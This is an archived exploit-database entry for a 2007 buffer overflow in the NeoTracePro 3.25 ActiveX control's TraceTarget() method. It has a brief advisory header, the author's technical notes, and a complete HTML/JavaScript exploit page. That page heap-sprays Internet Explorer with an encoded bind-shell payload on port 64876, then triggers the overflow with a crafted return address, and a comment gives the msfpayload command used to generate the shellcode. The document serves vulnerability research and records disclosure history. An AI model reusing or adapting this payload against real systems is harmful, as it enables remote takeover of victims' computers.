NeoTracePro 3.25 ActiveX Control "TraceTarget()" b0f [NeoTraceExplorer.dll] Remote 0-day Exploit

vendor:

NeoTracePro

by:

A. Alejandro Hernández aka nitr0us

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: NeoTracePro

Affected Version From: 3.25

Affected Version To: 3.25

Patch Exists: NO

Related CWE:

CPE: a:neotracepro:neotracepro:3.25

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP2 with Internet Explorer 7.0.5730.11

2007

NeoTracePro 3.25 ActiveX Control “TraceTarget()” b0f [NeoTraceExplorer.dll] Remote 0-day Exploit

This exploit targets a buffer overflow vulnerability in the TraceTarget() method of the NeoTracePro 3.25 ActiveX Control. By passing a large string (~486 bytes), an attacker can execute remote commands on the target system. The vulnerability was discovered by A. Alejandro Hernández and can be exploited due to the lack of boundary checking in the TraceTarget() method. This vulnerability was previously reported but no exploit was released. The exploit has been tested on Windows XP SP2 with Internet Explorer 7.0.5730.11 and NeoTracePro 3.25.

Mitigation:

The vendor should implement proper boundary checking in the TraceTarget() method to prevent buffer overflow attacks. Users should also update to the latest version of NeoTracePro to mitigate this vulnerability.

Source

Exploit-DB raw data:

<!--
/* PUBLIC SINCE MAY 31th 2007 */

/**** PRIVATE *** DON'T DISTRIBUTE *** PRIVATE *** DON'T DISTRIBUTE  *** PRIVATE ****/
____________________________________________________________________________
NeoTracePro 3.25 ActiveX Control "TraceTarget()" b0f [NeoTraceExplorer.dll]
Remote 0-day Exploit
Risk Level: High
Impact: Remote command execution
Author: A. Alejandro HernÃ¡ndez aka nitr0us <nitrousenador@gmail.com>
Date:  24/03/07
MÃ©xico
____________________________________________________________________________
/**** PRIVATE *** DON'T DISTRIBUTE *** PRIVATE *** DON'T DISTRIBUTE  *** PRIVATE ****/

I found this buffer overflow fuzzing NeoTraceExplorer.dll (an ActiveX Control) with ComRaider from iDefense.
It has a method called TraceTarget() which can be exploited passing a large string (~486 bytes) due there's no boundary checking.

Unfortunately, somebody else found this vulnerability few months ago, but this person didn't release an exploit ;)
just published an advisory ( http://secunia.com/advisories/23463).

First of all, this b0f cannot be exploitable with the classic technique (EIP points to an address that has a 'jmp esp') because
each byte of the ret address MUST BE between 0x00 and 0x7f (ascii values), in other case, InternetExplorer will change
the out-of-range bytes to 0x3f ('?' character) and EIP will point to and invalid address.
Example:
I've an 'jmp esp' @ 0x7c951eed in ntdll.dll, if I set the ret address to 0x7c951eed, when the buffer gets passed from
Internet Explorer to TraceTarget(), it will overwrite EIP with: 0x7c3f1e3f (bullshit!).

So, The Skylined's Heap Spraying technique comes into my mind... and here is, working so fuckin' fine =).

TESTED ON:  Windows XP SP 2 (Spanish) + Internet Explorer 7.0.5730.11 + NeoTracePro 3.25

Greetz to: Crypkey, alt3kx, zonartm.org, dex, Optix, Nahual, ran.
-->

<html>
       <head>
               <title>
                       NeoTracePro 3.25 ActiveX Control "TraceTarget()" b0f [NeoTraceExplorer.dll] Remote 0-day Exploit
               </title>
       </head>

       <body bgcolor=black text=white link=white alink=white vlink=white>
               <center>

               <object classid="clsid:3E1DD897-F300-486C-BEAF-711183773554" id="NeoTracePro"></object>

               <b>/**** PRIVATE *** DON'T DISTRIBUTE *** PRIVATE *** DON'T DISTRIBUTE  *** PRIVATE ****/</b><br><br>
               NeoTracePro 3.25 ActiveX Control "TraceTarget()" b0f [NeoTraceExplorer.dll] Remote 0-day Exploit<br>
               by <a href="mailto:nitrousenador@gmail.com">nitr0us</a><br>
               <a href="http://www.genexx.org/nitrous/" target=_blank>www.genexx.org/nitrous/</a><br><br>

               <input type="button" value="Exploit!" onClick="exploit()">

               <script>
                       function exploit(){
                               var Target      = ""; // Exploit string
                               var PwnEIP      = 486; // bytes to reach EIP
                               var     Ninja   = "\x05\x05\x05\x05"; // ret address = 0x05050505
                               /* The fscking shellc0de, bind port 64876 [nitro ;)], encoded with Skylined's Alpha2 encoder and finally converted to utf-16 */
                               // $./msfpayload win32_bind LPORT=64876 R | ./msfencode -t raw -b '\x00' -e Alpha2 | ./beta --utf-16 > shellcode.txt
                               // beta encoder src: http://www.edup.tudelft.nl/~bjwever/src/beta.c
                               var ShellCode = unescape(
                               "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4937%u4949%u4949%u4949%u4949%u4949%u4949%u4949" +
                               "%u5a51%u626a%u3058%u3042%u4150%u416b%u7241%u4132%u4142%u3242%u4142%u4230%u5841%u4138" +
                               "%u5042%u7a75%u6b49%u434c%u585a%u726b%u4d6d%u5938%u4969%u496f%u696f%u516f%u4c70%u324b" +
                               "%u444c%u4164%u4e34%u476b%u4735%u4e4c%u636b%u744c%u3245%u5358%u5a31%u4c4f%u724b%u756f" +
                               "%u6e48%u536b%u576f%u3650%u4861%u636b%u4e79%u706b%u6c34%u644b%u6a41%u544e%u4f71%u4f30" +
                               "%u6e69%u6b4c%u4f34%u5130%u4464%u5a47%u3961%u545a%u444d%u6f41%u4a32%u494b%u6564%u426b" +
                               "%u6474%u7164%u6138%u5a65%u6e45%u636b%u656f%u6574%u7851%u556b%u6c36%u664b%u506c%u4c4b" +
                               "%u514b%u474f%u456c%u7851%u776b%u5473%u6e6c%u4e6b%u7269%u614c%u5734%u426c%u4f41%u4633" +
                               "%u4b51%u316b%u4c74%u714b%u5053%u4c30%u614b%u6650%u6c6c%u344b%u3730%u4c6c%u4c6d%u474b" +
                               "%u6730%u4178%u734e%u6e58%u326e%u766e%u5a6e%u764c%u4b30%u484f%u4256%u7246%u7573%u4336" +
                               "%u3458%u7473%u4272%u5448%u3237%u3453%u7372%u426f%u6b74%u7a4f%u7070%u5868%u584b%u4b6d" +
                               "%u774c%u304b%u4b50%u5a4f%u5376%u6d6f%u4b59%u6355%u4f56%u6a71%u534d%u3438%u6642%u7235" +
                               "%u444a%u3942%u386f%u5050%u6e68%u6439%u4b49%u6e45%u304d%u4b57%u494f%u5346%u3063%u6353" +
                               "%u3663%u5333%u3163%u5153%u3043%u3343%u4b63%u4a4f%u5070%u7166%u4978%u526d%u434c%u5656" +
                               "%u4c33%u4d49%u6e31%u5075%u4c68%u3464%u505a%u6f70%u4637%u3937%u4e6f%u7036%u746a%u4350" +
                               "%u7661%u7935%u586f%u6150%u6d78%u4e74%u764d%u6d4e%u5239%u7977%u4e6f%u3336%u3363%u4965" +
                               "%u4a6f%u5370%u4958%u3775%u4e39%u7066%u4649%u4b37%u4e4f%u6636%u7630%u6634%u6634%u6935" +
                               "%u486f%u7a50%u4233%u3948%u7077%u7879%u3146%u5069%u3957%u6b6f%u5366%u6965%u686f%u6550" +
                               "%u7336%u655a%u7034%u3166%u5178%u7273%u6f4d%u6d79%u3135%u427a%u6670%u4139%u5839%u6e4c" +
                               "%u4869%u7367%u735a%u6e74%u6a69%u3742%u3941%u3850%u6c73%u4b6a%u774e%u4432%u4b6d%u474e" +
                               "%u6432%u6d6c%u6e43%u706d%u307a%u6c38%u6c6b%u4e6b%u634b%u7058%u4b72%u4e4e%u5653%u4b76" +
                               "%u424f%u3055%u5944%u796f%u6346%u706b%u7257%u7272%u4671%u5031%u3251%u644a%u7041%u3251" +
                               "%u4171%u4645%u3931%u6a6f%u6370%u4c58%u6e6d%u5739%u5875%u434e%u4963%u6b6f%u5166%u4b7a" +
                               "%u6b4f%u754f%u6967%u686f%u4e50%u366b%u3937%u4c6c%u3843%u5044%u4964%u5a6f%u4676%u4932" +
                               "%u7a6f%u7570%u6c38%u6e30%u456a%u7154%u464f%u6b33%u4e4f%u6b36%u6e4f%u6230");
                               var heapSprayToAddress = 0x05050505; // Spray up to this address
                               var heapBlockSize = 0x400000; // Size of the blocks we want to create
                               var heapHdrSize = 0x38; // The size of the header of heap blocks in MSIE
                               var payLoadSize = ShellCode.length * 2; // Size of the shellcode (convert dwords to bytes)
                               var spraySlideSize = heapBlockSize - (payLoadSize + heapHdrSize); //  Size of the nopslide
                               var spraySlide = unescape("%u4141%u4141"); // NOP Slide filled with 0x41 ( inc ecx)
                               var heapBlocks = (heapSprayToAddress - 0x400000) / heapBlockSize; // Number of heap blocks

                               spraySlide = getSpraySlide(spraySlide, spraySlideSize);

                               // We are going to create large blocks that will contain:
                               // [heap header][nopslide...........................][shellcode]
                               memory = new Array();
                               for (k = 0; k < heapBlocks; k++)
                                       memory[k] = spraySlide + ShellCode;

                               // Create the Target string
                               while(Target.length < PwnEIP)
                                       Target += "A";
                               Target += Ninja;

                               // Exploit !
                               NeoTracePro.TraceTarget(Target);
                       }

                       function getSpraySlide(spraySlide, spraySlideSize){
                               // The quickest way to create large blocks of memory is doubling their size untill they are
                               // big enough (or too big, in which case we cut them back to size.)
                               while(spraySlide.length * 2 < spraySlideSize)
                                       spraySlide += spraySlide;

                               spraySlide = spraySlide.substring(0, spraySlideSize / 2);

                               return spraySlide;
                       }
               </script>
               </center>
       </body>
</html>

# milw0rm.com [2007-07-07]